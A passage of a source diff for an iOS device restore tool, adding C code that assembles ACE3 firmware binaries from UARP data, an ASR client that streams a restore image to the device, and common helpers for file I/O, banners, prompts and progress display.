+ plist_t matching = plist_dict_get_item(meta, "Personalization Matching Data");
+ if (PLIST_IS_ARRAY(matching)) {
+ plist_array_iter iter2 = NULL;
+ plist_array_new_iter(matching, &iter2);
+ plist_t match = NULL;
+ do {
+ plist_array_next_item(matching, iter2, &match);
+ if (!PLIST_IS_DICT(match)) {
+ break;
+ }
+ uint64_t minrev = 0;
+ plist_t p_min = plist_dict_get_item(match, "Personalization Matching Data Product Revision Minimum");
+ plist_get_uint_val(p_min, &minrev);
+ uint64_t maxrev = 0;
+ plist_t p_max = plist_dict_get_item(match, "Personalization Matching Data Product Revision Maximum");
+ plist_get_uint_val(p_max, &maxrev);
+ if (prev >= minrev && prev <= maxrev) {
+ plist_t tags = plist_dict_get_item(match, "Personalization Matching Data Payload Tags");
+ plist_get_string_val(tags, &data_payload_4ccs);
+ logger(LL_DEBUG, "%s: Found matching tags %s\n", __func__, data_payload_4ccs);
+ break;
+ }
+ } while (match);
+ plist_mem_free(iter2);
+ }
+ break;
+ }
+ } while (payload);
+ plist_mem_free(iter);
+ }
+ if (!payload_4cc) {
+ logger(LL_ERROR, "Failed to get payload 4cc\n");
+ return -1;
+ }
+ if (!data_payload_4ccs) {
+ logger(LL_ERROR, "Failed to get data payload 4ccs\n");
+ return -1;
+ }
+
+ // now find the blobs in UARP data
+ uint32_t dl_offset = 0;
+ uint32_t dl_size = 0;
+ uint32_t data1_offset = 0;
+ uint32_t data1_size = 0;
+ uint32_t data1_version = 0;
+ uint32_t data2_offset = 0;
+ uint32_t data2_size = 0;
+ uint32_t toc_size = be32toh(uarp_hdr->toc_size);
+ const unsigned char* p = uarp_fw + uarp_hdr_size;
+ while (p < (const unsigned char*)uarp_fw + toc_size) {
+ struct uarp_toc_entry* entry = (struct uarp_toc_entry*)p;
+ uint32_t te_size = be32toh(entry->this_size);
+ if (strncmp((char*)&(entry->fourcc), payload_4cc, 4) == 0) {
+ dl_offset = be32toh(entry->offset);
+ dl_size = be32toh(entry->size);
+ } else if (strncmp((char*)&(entry->fourcc), data_payload_4ccs, 4) == 0) {
+ uint32_t version_data[4];
+ version_data[0] = be32toh(entry->version[0]);
+ version_data[1] = be32toh(entry->version[1]);
+ version_data[2] = be32toh(entry->version[2]);
+ version_data[3] = be32toh(entry->version[3]);
+ data1_offset = be32toh(entry->offset);
+ data1_size = be32toh(entry->size);
+ uarp_version_convert(version_data, &data1_version);
+ } else if (strncmp((char*)&(entry->fourcc), data_payload_4ccs+5, 4) == 0) {
+ data2_offset = be32toh(entry->offset);
+ data2_size = be32toh(entry->size);
+ }
+ p += te_size;
+ }
+
+ uint32_t content_size = data1_size + data2_size + im4m_size + dl_size;
+
+ *bin_out = malloc(0x40 + content_size);
+ struct ace3bin_header* hdr = (struct ace3bin_header*)(*bin_out);
+ hdr->magic = htole32(0xACE00003);
+ hdr->version = htole32(data1_version);
+ hdr->unk8 = htole32(0x00002800);
+ hdr->header_size = htole32(0x40);
+ hdr->data1_size = htole32(data1_size);
+ hdr->data2_size = htole32(data2_size);;
+ hdr->im4m_offset = htole32(0x40 + data1_size + data2_size);
+ hdr->im4m_dl_size = htole32(im4m_size + dl_size);
+ hdr->content_size = htole32(content_size);
+ hdr->crc = 0;
+ hdr->fill1 = 0xFFFFFFFFFFFFFFFFLL;
+ hdr->fill2 = 0xFFFFFFFFFFFFFFFFLL;
+ hdr->fill3 = 0xFFFFFFFFFFFFFFFFLL;
+
+ // write data1 payload
+ memcpy(*bin_out + 0x40, uarp_fw + data1_offset, data1_size);
+ // write data2 payload
+ memcpy(*bin_out + 0x40 + data1_size, uarp_fw + data2_offset, data2_size);
+ // write IM4M
+ memcpy(*bin_out + 0x40 + data1_size + data2_size, im4m, im4m_size);
+ // write dl payload
+ memcpy(*bin_out + 0x40 + data1_size + data2_size + im4m_size, uarp_fw + dl_offset, dl_size);
+
+ // calculate CRC and update header
+ hdr->crc = htole32(crc_buffer(*bin_out + 0x40, content_size, 0xFFFFFFFF));
+
+ *bin_size = 0x40 + content_size;
+
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/ace3.h b/sources/MobileRestoreCore/ace3.h
new file mode 100644
index 00000000..6c93e1e2
--- /dev/null
+++ b/sources/MobileRestoreCore/ace3.h
@@ -0,0 +1,17 @@
+#ifndef IDEVICERESTORE_ACE3_H
+#define IDEVICERESTORE_ACE3_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+#include <plist/plist.h>
+
+int ace3_create_binary(const void* uarp_fw, size_t uarp_size, uint64_t bdid, unsigned int prev, plist_t tss, void** bin_out, size_t* bin_size);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/asr.c b/sources/MobileRestoreCore/asr.c
new file mode 100644
index 00000000..66f65e7b
--- /dev/null
+++ b/sources/MobileRestoreCore/asr.c
@@ -0,0 +1,407 @@
+/*
+ * asr.c
+ * Functions for handling asr connections
+ *
+ * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <libimobiledevice/libimobiledevice.h>
+
+#include <libimobiledevice-glue/sha.h>
+
+#include "asr.h"
+#include "idevicerestore.h"
+#include "common.h"
+#include "ipsw.h"
+
+#define ASR_VERSION 1
+#define ASR_STREAM_ID 1
+#define ASR_BUFFER_SIZE 65536
+#define ASR_FEC_SLICE_STRIDE 40
+#define ASR_PACKETS_PER_FEC 25
+#define ASR_PAYLOAD_PACKET_SIZE 1450
+#define ASR_PAYLOAD_CHUNK_SIZE 131072
+#define ASR_CHECKSUM_CHUNK_SIZE 131072
+
+int asr_open_with_timeout(idevice_t device, asr_client_t* asr, uint16_t port)
+{
+ int i = 0;
+ int attempts = 30;
+ idevice_connection_t connection = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+
+ *asr = NULL;
+
+ if (device == NULL) {
+ return -1;
+ }
+
+ if (port == 0) {
+ port = ASR_DEFAULT_PORT;
+ }
+ logger(LL_VERBOSE, "Connecting to ASR on port %u\n", port);
+
+ for (i = 1; i <= attempts; i++) {
+ device_error = idevice_connect(device, port, &connection);
+ if (device_error == IDEVICE_E_SUCCESS) {
+ break;
+ }
+
+ if (i >= attempts) {
+ logger(LL_ERROR, "Unable to connect to ASR client\n");
+ return -1;
+ }
+
+ sleep(2);
+ logger(LL_VERBOSE, "Retrying connection...\n");
+ }
+
+ asr_client_t asr_loc = (asr_client_t)malloc(sizeof(struct asr_client));
+ memset(asr_loc, '\0', sizeof(struct asr_client));
+ asr_loc->connection = connection;
+
+ /* receive Initiate command message */
+ plist_t data = NULL;
+ asr_loc->checksum_chunks = 0;
+ if (asr_receive(asr_loc, &data) < 0) {
+ logger(LL_ERROR, "Unable to receive data from ASR\n");
+ asr_free(asr_loc);
+ plist_free(data);
+ return -1;
+ }
+ plist_t node;
+ node = plist_dict_get_item(data, "Command");
+ if (node && (plist_get_node_type(node) == PLIST_STRING)) {
+ char* strval = NULL;
+ plist_get_string_val(node, &strval);
+ if (strval && (strcmp(strval, "Initiate") != 0)) {
+ logger(LL_ERROR, "Unexpected ASR plist received\n");
+ logger_dump_plist(LL_VERBOSE, data, 1);
+ plist_free(data);
+ asr_free(asr_loc);
+ return -1;
+ }
+ }
+
+ node = plist_dict_get_item(data, "Checksum Chunks");
+ if (node && (plist_get_node_type(node) == PLIST_BOOLEAN)) {
+ plist_get_bool_val(node, &(asr_loc->checksum_chunks));
+ }
+ plist_free(data);
+
+ *asr = asr_loc;
+
+ return 0;
+}
+
+void asr_set_progress_callback(asr_client_t asr, asr_progress_cb_t cbfunc, void* userdata)
+{
+ if (!asr) {
+ return;
+ }
+ asr->progress_cb = cbfunc;
+ asr->progress_cb_data = userdata;
+}
+
+int asr_receive(asr_client_t asr, plist_t* data)
+{
+ uint32_t size = 0;
+ char* buffer = NULL;
+ plist_t request = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+
+ *data = NULL;
+
+ buffer = (char*)malloc(ASR_BUFFER_SIZE);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Unable to allocate memory for ASR receive buffer\n");
+ return -1;
+ }
+
+ device_error = idevice_connection_receive(asr->connection, buffer, ASR_BUFFER_SIZE, &size);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to receive data from ASR\n");
+ free(buffer);
+ return -1;
+ }
+ plist_from_xml(buffer, size, &request);
+
+ *data = request;
+
+ logger(LL_DEBUG, "Received %d bytes:\n", size);
+ logger_dump_plist(LL_DEBUG, request, 1);
+ free(buffer);
+ return 0;
+}
+
+int asr_send(asr_client_t asr, plist_t data)
+{
+ uint32_t size = 0;
+ char* buffer = NULL;
+
+ plist_to_xml(data, &buffer, &size);
+ if (asr_send_buffer(asr, buffer, size) < 0) {
+ logger(LL_ERROR, "Unable to send plist to ASR\n");
+ free(buffer);
+ return -1;
+ }
+
+ if (buffer)
+ free(buffer);
+ return 0;
+}
+
+int asr_send_buffer(asr_client_t asr, const void* data, size_t size)
+{
+ uint32_t bytes = 0;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+
+ device_error = idevice_connection_send(asr->connection, data, size, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != size) {
+ logger(LL_ERROR, "Unable to send data to ASR. Sent %u of %zu bytes.\n", bytes, size);
+ return -1;
+ }
+
+ return 0;
+}
+
+void asr_free(asr_client_t asr)
+{
+ if (asr != NULL) {
+ if (asr->connection != NULL) {
+ idevice_disconnect(asr->connection);
+ asr->connection = NULL;
+ }
+ free(asr);
+ asr = NULL;
+ }
+}
+
+int asr_send_validation_packet_info(asr_client_t asr, uint64_t ipsw_size)
+{
+ plist_t payload_info = plist_new_dict();
+ plist_dict_set_item(payload_info, "Port", plist_new_uint(1));
+ plist_dict_set_item(payload_info, "Size", plist_new_uint(ipsw_size));
+
+ plist_t packet_info = plist_new_dict();
+ if (asr->checksum_chunks) {
+ plist_dict_set_item(packet_info, "Checksum Chunk Size", plist_new_uint(ASR_CHECKSUM_CHUNK_SIZE));
+ }
+ plist_dict_set_item(packet_info, "FEC Slice Stride", plist_new_uint(ASR_FEC_SLICE_STRIDE));
+ plist_dict_set_item(packet_info, "Packet Payload Size", plist_new_uint(ASR_PAYLOAD_PACKET_SIZE));
+ plist_dict_set_item(packet_info, "Packets Per FEC", plist_new_uint(ASR_PACKETS_PER_FEC));
+ plist_dict_set_item(packet_info, "Payload", payload_info);
+ plist_dict_set_item(packet_info, "Stream ID", plist_new_uint(ASR_STREAM_ID));
+ plist_dict_set_item(packet_info, "Version", plist_new_uint(ASR_VERSION));
+
+ if (asr_send(asr, packet_info)) {
+ plist_free(packet_info);
+ return -1;
+ }
+ plist_free(packet_info);
+
+ return 0;
+}
+
+int asr_perform_validation(asr_client_t asr, ipsw_file_handle_t file)
+{
+ uint64_t length = 0;
+ char* command = NULL;
+ plist_t node = NULL;
+ plist_t packet = NULL;
+ int attempts = 0;
+
+ length = ipsw_file_size(file);
+
+ // Expected by device after every initiate
+ if (asr_send_validation_packet_info(asr, length) < 0) {
+ logger(LL_ERROR, "Unable to send validation packet info to ASR\n");
+ return -1;
+ }
+
+ while (1) {
+ if (asr_receive(asr, &packet) < 0) {
+ logger(LL_ERROR, "Unable to receive validation packet\n");
+ return -1;
+ }
+
+ if (packet == NULL) {
+ if (attempts < 10) {
+ logger(LL_INFO, "Retrying to receive validation packet... %d\n", attempts);
+ attempts++;
+ sleep(1);
+ continue;
+ }
+ }
+
+ attempts = 0;
+
+ node = plist_dict_get_item(packet, "Command");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_ERROR, "Unable to find command node in validation request\n");
+ return -1;
+ }
+ plist_get_string_val(node, &command);
+
+ // Added for iBridgeOS 9.0 - second initiate request to change to checksum chunks
+ if (!strcmp(command, "Initiate")) {
+ // This might switch on the second Initiate
+ node = plist_dict_get_item(packet, "Checksum Chunks");
+ if (node && (plist_get_node_type(node) == PLIST_BOOLEAN)) {
+ plist_get_bool_val(node, &(asr->checksum_chunks));
+ }
+ plist_free(packet);
+
+ // Expected by device after every Initiate
+ if (asr_send_validation_packet_info(asr, length) < 0) {
+ logger(LL_ERROR, "Unable to send validation packet info to ASR\n");
+ return -1;
+ }
+
+ // A OOBData request should follow
+ continue;
+ }
+
+ if (!strcmp(command, "OOBData")) {
+ int ret = asr_handle_oob_data_request(asr, packet, file);
+ plist_free(packet);
+ if (ret < 0)
+ return ret;
+ } else if(!strcmp(command, "Payload")) {
+ plist_free(packet);
+ break;
+
+ } else {
+ logger(LL_ERROR, "Unknown command received from ASR\n");
+ plist_free(packet);
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+int asr_handle_oob_data_request(asr_client_t asr, plist_t packet, ipsw_file_handle_t file)
+{
+ char* oob_data = NULL;
+ uint64_t oob_offset = 0;
+ uint64_t oob_length = 0;
+ plist_t oob_length_node = NULL;
+ plist_t oob_offset_node = NULL;
+
+ oob_length_node = plist_dict_get_item(packet, "OOB Length");
+ if (!oob_length_node || PLIST_UINT != plist_get_node_type(oob_length_node)) {
+ logger(LL_ERROR, "Unable to find OOB data length\n");
+ return -1;
+ }
+ plist_get_uint_val(oob_length_node, &oob_length);
+
+ oob_offset_node = plist_dict_get_item(packet, "OOB Offset");
+ if (!oob_offset_node || PLIST_UINT != plist_get_node_type(oob_offset_node)) {
+ logger(LL_ERROR, "Unable to find OOB data offset\n");
+ return -1;
+ }
+ plist_get_uint_val(oob_offset_node, &oob_offset);
+
+ oob_data = (char*) malloc(oob_length);
+ if (oob_data == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ return -1;
+ }
+
+ if (ipsw_file_seek(file, oob_offset, SEEK_SET) < 0) {
+ logger(LL_ERROR, "Unable to seek to OOB offset 0x%" PRIx64 "\n", oob_offset);
+ free(oob_data);
+ return -1;
+ }
+ int64_t ir = ipsw_file_read(file, oob_data, oob_length);
+ if (ir != oob_length) {
+ logger(LL_ERROR, "Unable to read OOB data from filesystem offset 0x%" PRIx64 ", oob_length %" PRIu64 ", read returned %" PRIi64"\n", oob_offset, oob_length, ir);
+ free(oob_data);
+ return -1;
+ }
+
+ if (asr_send_buffer(asr, oob_data, oob_length) < 0) {
+ logger(LL_ERROR, "Unable to send OOB data to ASR\n");
+ free(oob_data);
+ return -1;
+ }
+ free(oob_data);
+ return 0;
+}
+
+int asr_send_payload(asr_client_t asr, ipsw_file_handle_t file)
+{
+ char *data = NULL;
+ uint64_t i, length, bytes = 0;
+ double progress = 0;
+
+ length = ipsw_file_size(file);
+ ipsw_file_seek(file, 0, SEEK_SET);
+
+ data = (char*)malloc(ASR_PAYLOAD_CHUNK_SIZE + 20);
+
+ i = length;
+ int retry = 10;
+ while(i > 0 && retry >= 0) {
+ uint32_t size = ASR_PAYLOAD_CHUNK_SIZE;
+ uint32_t sendsize = 0;
+
+ if (i < ASR_PAYLOAD_CHUNK_SIZE) {
+ size = i;
+ }
+
+ if (ipsw_file_read(file, data, size) != (int64_t)size) {
+ logger(LL_ERROR, "Error reading filesystem\n");
+ retry--;
+ continue;
+ }
+
+ sendsize = size;
+ if (asr->checksum_chunks) {
+ sha1((unsigned char*)data, size, (unsigned char*)(data+size));
+ sendsize += 20;
+ }
+ if (asr_send_buffer(asr, data, sendsize) < 0) {
+ logger(LL_ERROR, "Unable to send filesystem payload chunk, retrying...\n");
+ retry--;
+ continue;
+ }
+
+ bytes += size;
+ progress = ((double)bytes / (double)length);
+ if (asr->progress_cb && ((int)(progress*100) > asr->lastprogress)) {
+ asr->progress_cb(progress, asr->progress_cb_data);
+ asr->lastprogress = (int)(progress*100);
+ }
+
+ i -= size;
+ }
+
+ free(data);
+ return (i == 0) ? 0 : -1;
+}
diff --git a/sources/MobileRestoreCore/asr.h b/sources/MobileRestoreCore/asr.h
new file mode 100644
index 00000000..52e8d75d
--- /dev/null
+++ b/sources/MobileRestoreCore/asr.h
@@ -0,0 +1,64 @@
+/*
+ * asr.h
+ * Functions for handling asr connections
+ *
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_ASR_H
+#define IDEVICERESTORE_ASR_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <libimobiledevice/libimobiledevice.h>
+
+#define ASR_DEFAULT_PORT 12345
+
+typedef void (*asr_progress_cb_t)(double, void*);
+
+struct asr_client {
+ idevice_connection_t connection;
+ uint8_t checksum_chunks;
+ int lastprogress;
+ asr_progress_cb_t progress_cb;
+ void* progress_cb_data;
+};
+typedef struct asr_client *asr_client_t;
+
+struct ipsw_file_handle;
+typedef struct ipsw_file_handle* ipsw_file_handle_t;
+
+int asr_open_with_timeout(idevice_t device, asr_client_t* asr, uint16_t port);
+void asr_set_progress_callback(asr_client_t asr, asr_progress_cb_t, void* userdata);
+int asr_send(asr_client_t asr, plist_t data);
+int asr_receive(asr_client_t asr, plist_t* data);
+int asr_send_buffer(asr_client_t asr, const void* data, size_t size);
+void asr_free(asr_client_t asr);
+int asr_perform_validation(asr_client_t asr, ipsw_file_handle_t file);
+int asr_send_payload(asr_client_t asr, ipsw_file_handle_t file);
+int asr_handle_oob_data_request(asr_client_t asr, plist_t packet, ipsw_file_handle_t file);
+
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/common.c b/sources/MobileRestoreCore/common.c
new file mode 100644
index 00000000..70f07428
--- /dev/null
+++ b/sources/MobileRestoreCore/common.c
@@ -0,0 +1,776 @@
+/*
+ * common.c
+ * Misc functions used in idevicerestore
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <errno.h>
+#include <libgen.h>
+#include <time.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <ctype.h>
+#include <libimobiledevice-glue/thread.h>
+#include <libimobiledevice-glue/collection.h>
+
+#ifdef WIN32
+#include <windows.h>
+#include <conio.h>
+#ifndef _O_EXCL
+#define _O_EXCL 0x0400
+#endif
+#ifndef O_EXCL
+#define O_EXCL _O_EXCL
+#endif
+#else
+#include <sys/time.h>
+#include <pthread.h>
+#include <termios.h>
+#endif
+
+#include "common.h"
+#include "endianness.h"
+
+#define MAX_PRINT_LEN 64*1024
+
+int global_quit_flag = 0;
+static const char* STARS = "******************************************************************************";
+static const char* SPACES = " ";
+static const char* POUNDS = "##############################################################################";
+
+static uint32_t progress_unique_tag = 1;
+
+struct idevicerestore_mode_t idevicerestore_modes[] = {
+ { 0, "Unknown" },
+ { 1, "WTF" },
+ { 2, "DFU" },
+ { 3, "Recovery" },
+ { 4, "Restore" },
+ { 5, "Normal" },
+ { 6, "Port DFU" },
+};
+
+int idevicerestore_debug = 0;
+
+static void (*banner_func)(const char*) = NULL;
+static void (*banner_hide_func)(void) = NULL;
+
+int write_file(const char* filename, const void* data, size_t size) {
+ size_t bytes = 0;
+ FILE* file = NULL;
+
+ logger(LL_DEBUG, "Writing data to %s\n", filename);
+ file = fopen(filename, "wb");
+ if (file == NULL) {
+ logger(LL_ERROR, "write_file: Unable to open file %s\n", filename);
+ return -1;
+ }
+
+ bytes = fwrite(data, 1, size, file);
+ fclose(file);
+
+ if (bytes != size) {
+ logger(LL_ERROR, "Unable to write entire file: %s: %d of %d\n", filename, (int)bytes, (int)size);
+ return -1;
+ }
+
+ return size;
+}
+
+int read_file(const char* filename, void** data, size_t* size) {
+ size_t bytes = 0;
+ size_t length = 0;
+ FILE* file = NULL;
+ char* buffer = NULL;
+ struct stat fst;
+
+ logger(LL_DEBUG, "Reading data from %s\n", filename);
+
+ *size = 0;
+ *data = NULL;
+
+ file = fopen(filename, "rb");
+ if (file == NULL) {
+ logger(LL_ERROR, "read_file: cannot open %s: %s\n", filename, strerror(errno));
+ return -1;
+ }
+
+ if (fstat(fileno(file), &fst) < 0) {
+ logger(LL_ERROR, "read_file: fstat: %s\n", strerror(errno));
+ return -1;
+ }
+ length = fst.st_size;
+
+ buffer = (char*) malloc(length);
+ if (buffer == NULL) {
+ logger(LL_ERROR, "Out of memory\n");
+ fclose(file);
+ return -1;
+ }
+ bytes = fread(buffer, 1, length, file);
+ fclose(file);
+
+ if (bytes != length) {
+ logger(LL_ERROR, "Unable to read entire file\n");
+ free(buffer);
+ return -1;
+ }
+
+ *size = length;
+ *data = buffer;
+ return 0;
+}
+
+int process_text_lines(const char* text, int maxwidth, struct tuple** lines_out, int* maxlen_out)
+{
+ if (!text) return 0;
+ int len = strlen(text);
+ int numlines = 0;
+ int maxlen = 0;
+ int linestart = 0;
+ int linelen = 0;
+ int lastspace = 0;
+ int maxlines = 8;
+ int count = 0;
+ struct tuple* lines = (struct tuple*)malloc(sizeof(struct tuple) * maxlines);
+ int i = 0;
+ while (i <= len) {
+ int split_line = 0;
+ if ((text[i] & 0xE0) == 0xC0) i += 1;
+ else if ((text[i] & 0xF0) == 0xE0) i += 2;
+ else if ((text[i] & 0xF8) == 0xF0) i += 3;
+ if (i > len) i = len;
+ linelen = i - linestart;
+ if (text[i] == '\0') {
+ split_line = 1;
+ }
+ if (linelen > maxwidth) {
+ if (lastspace > linestart+maxwidth/2+6) {
+ count -= i-lastspace;
+ i = lastspace;
+ linelen = i - linestart;
+ split_line = 1;
+ } else {
+ split_line = 1;
+ }
+ }
+ if ((linelen > 0 && split_line) || text[i] == '\n') {
+ split_line = 0;
+ if (numlines == maxlines) {
+ maxlines += 8;
+ struct tuple* newlines = (struct tuple*)realloc(lines, sizeof(struct tuple) * maxlines);
+ if (!newlines) {
+ printf("FATAL: Out of memory\n");
+ return -1;
+ }
+ lines = newlines;
+ }
+ lines[numlines].idx = linestart;
+ lines[numlines].len = linelen;
+ lines[numlines].plen = count;
+ if (count > maxlen) maxlen = count;
+ numlines++;
+ linestart = i+1;
+ count = 0;
+ }
+ else if (text[i] == ' ') {
+ lastspace = i;
+ count++;
+ } else {
+ count++;
+ }
+ i++;
+ }
+ *lines_out = lines;
+ *maxlen_out = maxlen;
+ return numlines;
+}
+
+void set_banner_funcs(void (*showfunc)(const char*), void (*hidefunc)(void))
+{
+ banner_func = showfunc;
+ banner_hide_func = hidefunc;
+}
+
+void show_banner(const char* text)
+{
+ if (banner_func) {
+ banner_func(text);
+ } else {
+ int i;
+ int maxlen = 0;
+ struct tuple* lines = NULL;
+ int numlines = process_text_lines(text, 74, &lines, &maxlen);
+ printf("%.*s\n", maxlen + 4, STARS);
+ for (i = 0; i < numlines; i++) {
+ printf("* %.*s%.*s *\n", lines[i].len, text + lines[i].idx, maxlen-lines[i].plen, SPACES);
+ }
+ printf("%.*s\n", maxlen + 4, STARS);
+ free(lines);
+ }
+}
+
+void hide_banner()
+{
+ if (banner_hide_func) {
+ banner_hide_func();
+ }
+}
+
+static int (*prompt_func)(const char* title, const char* text) = NULL;
+
+void set_prompt_func(int (*func)(const char* title, const char* text))
+{
+ prompt_func = func;
+}
+
+int prompt_user(const char* title, const char* text)
+{
+ if (!text) return -1;
+ if (prompt_func) {
+ return prompt_func(title, text);
+ }
+ int i;
+ int result = 0;
+ int maxlen = 0;
+ struct tuple* lines = NULL;
+ int numlines = process_text_lines(text, 74, &lines, &maxlen);
+ int outerlen = maxlen+4;
+ int titlelen = (title) ? strlen(title) : 0;
+ if (titlelen > 0) {
+ int lefttitlelen = (titlelen+4)/2;
+ int leftpounds = outerlen/2 - lefttitlelen;
+ int rightpounds = outerlen-(titlelen+4) - leftpounds;
+ printf("%.*s[ %.*s ]%.*s\n", leftpounds, POUNDS, titlelen, title, rightpounds, POUNDS);
+ } else {
+ printf("%.*s\n", outerlen, POUNDS);
+ }
+ for (i = 0; i < numlines; i++) {
+ printf("%c %.*s%.*s %c\n", *POUNDS, lines[i].len, text + lines[i].idx, maxlen-lines[i].plen, SPACES, *POUNDS);
+ }
+ free(lines);
+ const char* yesmsg = "Type YES and press ENTER to continue, or hit CTRL+C to cancel.";
+ int ylen = strlen(yesmsg);
+ printf("%c %.*s%.*s %c\n", *POUNDS, ylen, yesmsg, maxlen-ylen, SPACES, *POUNDS);
+ printf("%.*s\n", outerlen, POUNDS);
+
+ char input[64];
+ while (1) {
+ printf("> ");
+ fflush(stdout);
+ fflush(stdin);
+ input[0] = '\0';
+ get_user_input(input, 63, 0);
+ if (global_quit_flag) {
+ result = -1;
+ break;
+ }
+ if (*input != '\0' && !strcmp(input, "YES")) {
+ result = 1;
+ break;
+ } else {
+ printf("Invalid input. Please type YES or hit CTRL+C to abort.\n");
+ continue;
+ }
+ }
+ return result;
+}
+
+static void (*update_progress_func)(struct progress_info_entry** list, int count) = NULL;
+static double progress_granularity = 0.001;
+
+void set_update_progress_func(void (*func)(struct progress_info_entry** list, int count))
+{
+ update_progress_func = func;
+}
+
+void set_progress_granularity(double granularity)
+{
+ progress_granularity = granularity;
+}
+
+mutex_t prog_mutex;
+struct collection progress_info;
+thread_once_t progress_info_once = THREAD_ONCE_INIT;
+static void _init_progress_info(void)
+{
+ mutex_init(&prog_mutex);
+ collection_init(&progress_info);
+}
+
+uint32_t progress_get_next_tag(void)
+{
+ mutex_lock(&prog_mutex);
+ uint32_t newtag = ++progress_unique_tag;
+ mutex_unlock(&prog_mutex);
+ return newtag;
+}
+
+void progress_reset_tag(void)
+{
+ progress_unique_tag = 1;
+}
+
+void register_progress(uint32_t tag, const char* label)
+{
+ thread_once(&progress_info_once, _init_progress_info);
+ if (!label) {
+ return;
+ }
+ mutex_lock(&prog_mutex);
+ struct progress_info_entry* found = NULL;
+ FOREACH(struct progress_info_entry* e, &progress_info) {
+ if (e->tag == tag) {
+ found = e;
+ break;
+ }
+ } ENDFOREACH
+ if (found) {
+ if (strcmp(found->label, label) != 0) {
+ free(found->label);
+ found->label = strdup(label);
+ if (update_progress_func) {
+ update_progress_func((struct progress_info_entry**)(&progress_info)->list, progress_info.capacity);
+ } else {
+ print_progress_bar(found->label, found->progress);
+ }
+ }
+ mutex_unlock(&prog_mutex);
+ return;
+ }
+ struct progress_info_entry* newinfo = (struct progress_info_entry*)calloc(1, sizeof(struct progress_info_entry));
+ if (!newinfo) {
+ logger(LL_ERROR, "Out of memory?!\n");
+ exit(1);
+ }
+ newinfo->tag = tag;
+ newinfo->label = strdup(label);
+ newinfo->progress = 0;
+ collection_add(&progress_info, newinfo);
+ if (update_progress_func) {
+ update_progress_func((struct progress_info_entry**)(&progress_info)->list, progress_info.capacity);
+ } else {
+ print_progress_bar(newinfo->label, newinfo->progress);
+ }
+ mutex_unlock(&prog_mutex);
+}
+
+void finalize_progress(uint32_t tag)
+{
+ mutex_lock(&prog_mutex);
+ struct progress_info_entry* found = NULL;
+ FOREACH(struct progress_info_entry* e, &progress_info) {
+ if (e->tag == tag) {
+ found = e;
+ break;
+ }
+ } ENDFOREACH
+ if (!found) {
+ mutex_unlock(&prog_mutex);
+ return;
+ }
+ collection_remove(&progress_info, found);
+ free(found->label);
+ free(found);
+ if (update_progress_func) {
+ update_progress_func((struct progress_info_entry**)(&progress_info)->list, progress_info.capacity);
+ }
+ mutex_unlock(&prog_mutex);
+}
+
+void print_progress_bar(const char* prefix, double progress)
+{
+ int i = 0;
+ if (progress < 0) return;
+ if (progress > 1) progress = 1;
+ if (prefix) {
+ printf("\r%s [", prefix);
+ } else {
